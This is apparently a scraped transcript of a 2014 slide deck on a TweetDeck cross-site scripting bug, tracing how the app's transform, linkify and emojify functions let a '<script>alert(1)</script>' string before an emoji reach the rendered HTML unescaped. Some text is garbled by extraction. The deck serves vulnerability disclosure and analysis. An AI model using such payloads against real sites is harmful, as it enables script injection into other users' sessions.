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TweetDeck XSS 20140611
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Yusei Yamanaka
June 12, 2014
Technology
320
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TweetDeck XSS 20140611
TweetDeck XSS 20140611
Yusei Yamanaka
June 12, 2014
Transcript
17 slides
じコしょ-かい なまえ ミユっき せきゅリティ いろイロ びっぐで-た
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transform(text, entities) var text = “<script>alert(1)</script>http://applest.net/”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL
NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[1], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} "<script>alert(1)</script><a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>" "<script>alert(1)</script><a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>"
transform(text, entities) var text = “—”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL
NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “—” "<img class="emoji inline-block” draggable="false" alt=“—"src="/web/assets/emoji//2665.png">"
transform(text, entities) var text = “<script>alert(1)</script>—”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL
NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “<script>alert(1)</script>—” "<script>alert(1)</script><img class="emoji inline-block” draggable="false" alt="—" src="/web/assets/emoji//2665.png">"
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